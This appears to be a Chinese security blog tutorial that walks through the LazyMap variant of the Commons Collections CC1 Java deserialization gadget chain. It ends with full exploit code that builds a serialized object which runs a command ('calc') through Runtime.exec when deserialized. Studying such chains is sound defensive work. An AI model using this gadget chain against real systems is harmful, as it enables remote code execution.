WEB安全--Java安全--LazyMap_CC1利用链

一、前言

该篇是基于WEB安全--Java安全--CC1利用链-CSDN博客的补充,上篇文章利用的是TransformedMap类,而CC链的原作者是利用的LazyMap类作为介质进行的触发。

所以本文将分析国外原作者在ysoserial commonscollections1中给出的CC1利用链。

二、回顾梳理

在我的上一篇文章中,对CC1链的触发流程总结是这样的:

TransformedMap触发流程
ObjectInputStream.readObject() ==> AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.readObject() ==> MapEntry.setValue()
MapEntry.setValue() ==> TransformedMap.checkSetValue()
TransformedMap.checkSetValue() ==> ChainedTransformer.transform()
ChainedTransformer.transform() ==> ConstantTransformer.transform()
ConstantTransformer.transform() ==> 将xxxxProxy改为Runtime.class
ChainedTransformer.transform() ==> InvokeTransformer.transform()
InvokeTransformer.transform() ==> 调用Runtime.class的exec方法执行其命令
[ ]

而LazyMap版本CC1利用链的触发流程是这样的:

LazyMap触发流程
ObjectInputStream.readObject() ==> AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.readObject() ==> Map(Proxy).entrySet()
Map(Proxy).entrySet() ==> AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.invoke() ==> LazyMap.get()
LazyMap.get() ==> ChainedTransformer.transform()
ChainedTransformer.transform() ==> ConstantTransformer.transform()
ConstantTransformer.transform() ==> 将xxxxProxy改为Runtime.class
ChainedTransformer.transform() ==> InvokeTransformer.transform()
InvokeTransformer.transform() ==> 调用Runtime.class的exec方法执行其命令
[ ]

三、LazyMap版本CC1利用链

3.1、反向分析

现在我们主要分析:当AnnotationInvocationHandler.readObject()被触发后,通过哪些介质最后调用的ChainedTransformer.transform()

依旧是反向分析,从ChainedTransformer.transform()开始:

除了TransformedMap.checkSetValue()可以调用ChainedTransformer.transform(),还有LazyMap的get()方法也可以调用:

LazyMap.get()

构造ChainedTransformer对象:

java 复制代码
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);




        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

当LazyMap对ChainedTransformer对象进行处理时就会触发ChainedTransformer的transform()方法

那么哪里的方法又调用了get()方法呢?

实际上在AnnotationInvocationHandler类中的invoke()方法刚好有方法满足这个条件:

AnnotationInvocationHandler.invoke()

java 复制代码
public Object invoke(Object proxy, Method method, Object[] args) {
   String member = method.getName();
   Class<?>[] paramTypes = method.getParameterTypes();
   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");
    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }
    // Handle annotation member accessors
    Object result = memberValues.get(member);

经分析,我们需要满足前两条 if 语句才能触发memberValues对象的get()方法,,否则会提前返回值

第一个if:

java 复制代码
   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)

我们调用方法的名字不为 equals即可绕过

第二个if:

java 复制代码
if (paramTypes.length != 0)

我们无参调用方法即可绕过

接下来我们分析如何将LazyMap对象赋值给该类的memberValues变量

我们查看构造方法,发现该方法是私有的,我们无法调用

java 复制代码
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

然后我们看一下invoke()方法所属类的定义,如下:

java 复制代码
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    ......
}

发现这个类实现了InvocationHandler接口 ,代表该类可以作为动态代理的代理处理器,只要实现了InvocationHandler接口 ,就必须重写 invoke 方法 ,并且调用使用该代理处理器代理对象方法 之前会自动执行该 invoke方法。

也就是说我们只需要创建一个代理对象,通过反射让其代理处理器为AnnotationInvocationHandler,然后无参调用代理对象的任意方法,即可触发invoke方法

在Java的动态代理机制中,在执行代理对象中的方法之前,会自动执行其代理处理器中的invoke方法

java 复制代码
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class,lazyMap);

这样触发invoke()方法的问题便解决了,接下来我们只需创建一个使用AnnotationInvocationHandler作为处理器的代理对象,并无参调用该代理对象中的方法即可,创建代理对象代码如下

java 复制代码
Map mapProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},h);

接下来便是要解决如何无参调用mapProxy对象中的方法

readObject() ==> memberValues.entrySet()

正巧,在AnnotationInvocationHandler类中的readObject()调用了memberValues.entrySet()

我们通过之前的反射获取静态方法,并将mapProxy作为对象传入

java 复制代码
Object hacker = annotationInvocationHandlerConstructor.newInstance(Target.class,mapProxy);

所以触发AnnotationInvocationHandler.readObject()方法就会触发memberValues.entrySet(),也就是会触发mapProxy.entrySet()

3.2、EXP

java 复制代码
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
    public static void main(String[] args) throws Exception
    {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);




        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);



        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class,lazyMap);


        Map mapProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},h);

        Object hacker = annotationInvocationHandlerConstructor.newInstance(Target.class,mapProxy);

        serialize(hacker);
        unserialize("hacker.bin");

    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));
        oss.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
相关推荐
冷雨夜中漫步7 小时前
Python快速入门(6)——for/if/while语句
开发语言·经验分享·笔记·python
郝学胜-神的一滴7 小时前
深入解析Python字典的继承关系:从abc模块看设计之美
网络·数据结构·python·程序人生
绵绵细雨中的乡音7 小时前
深入理解 ET 与 LT 模式及其在 Reactor 模型中的应用
服务器·网络·php
JH30738 小时前
SpringBoot 优雅处理金额格式化:拦截器+自定义注解方案
java·spring boot·spring
暖馒9 小时前
Modbus应用层协议的深度剖析
网络·网络协议·c#·wpf·智能硬件
m0_736919109 小时前
C++代码风格检查工具
开发语言·c++·算法
Coder_Boy_9 小时前
技术让开发更轻松的底层矛盾
java·大数据·数据库·人工智能·深度学习
2501_944934739 小时前
高职大数据技术专业,CDA和Python认证优先考哪个?
大数据·开发语言·python
invicinble9 小时前
对tomcat的提供的功能与底层拓扑结构与实现机制的理解
java·tomcat
较真的菜鸟10 小时前
使用ASM和agent监控属性变化
java